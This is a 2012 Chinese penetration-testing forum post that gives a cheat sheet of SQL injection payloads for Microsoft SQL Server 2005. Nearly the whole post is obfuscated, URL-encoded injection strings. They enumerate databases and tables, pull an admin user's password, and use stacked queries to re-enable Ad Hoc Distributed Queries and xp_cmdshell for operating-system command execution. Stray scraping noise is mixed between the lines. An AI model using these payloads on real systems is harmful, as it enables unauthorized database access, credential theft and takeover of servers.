中国网络渗透测试联盟
标题:
MSsql2005注入语句
[打印本页]
作者:
admin
时间:
2012-9-13 17:19
标题:
MSsql2005注入语句
) a0 S! n8 }' \# N T. c
. @, d: `2 J+ b! @
4 q6 v2 n. Y5 ^4 m& x
[Copy to clipboard]CODE:
0 b" D$ I2 X$ y4 i
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
% g' W/ g. s5 I" Z7 J
' Q: p0 g- V- }
爆表语句,somedb部份是所要列的数据库，红色数字1累加
+ t& N: }& B5 [3 t0 j$ _/ X
$ A1 V: _) s. F. g5 j
- J; w) _9 f K# ~' l# u0 B
[Copy to clipboard]CODE:
8 o$ C1 b% }; T/ e2 D# z
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
% y6 }+ r' N% f9 m
5 j2 T, ` z' x9 V
爆字段语句，爆表admin里user='icerover'的密码段
! W- S& m( H/ _2 l& Z( H5 W
9 r/ c6 R9 s2 N: j
$ e# D3 ?; h9 q _
[Copy to clipboard]CODE:
" C% V1 X0 v! H6 `% V" p
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
v J& T3 K) A
9 p s/ ?* C% e$ }% b1 M# K
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
1 ]( O& b+ ~0 _9 v; R+ `4 S' `
如果是sa权限，可以这样来开启
6 V2 A' C: e3 p8 }: s; y2 {
开启openrowset
7 H! P4 s* L6 S q& X
$ f" m/ D' k8 e2 a4 Q8 r
3 Z+ c5 @( c& E# y: n& {
[Copy to clipboard]CODE:
( H% P6 H" r& X: \% P( l
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
7 \$ g, v: n, Y# p% N6 M; D
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
! A9 I' A7 x' M) s# E
1 A+ n# E3 C) i. L
开启xp_cmdshell
0 U9 o6 |0 E/ U# {" z. {. R
8 I- E5 D3 m! G2 C) ]
* ^, v( u6 g2 U# s% T- L4 l" D
[Copy to clipboard]CODE:
+ F5 N. q8 L* }$ a$ J3 a. ^: R
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
9 L$ I* j8 g5 _# T( h$ Q
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
1 W% c8 l Z, I
: @8 a3 q, G( D. X0 o; `2 a
ok,over~~晚安
/ M9 E$ G( d0 p" b9 I7 g
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2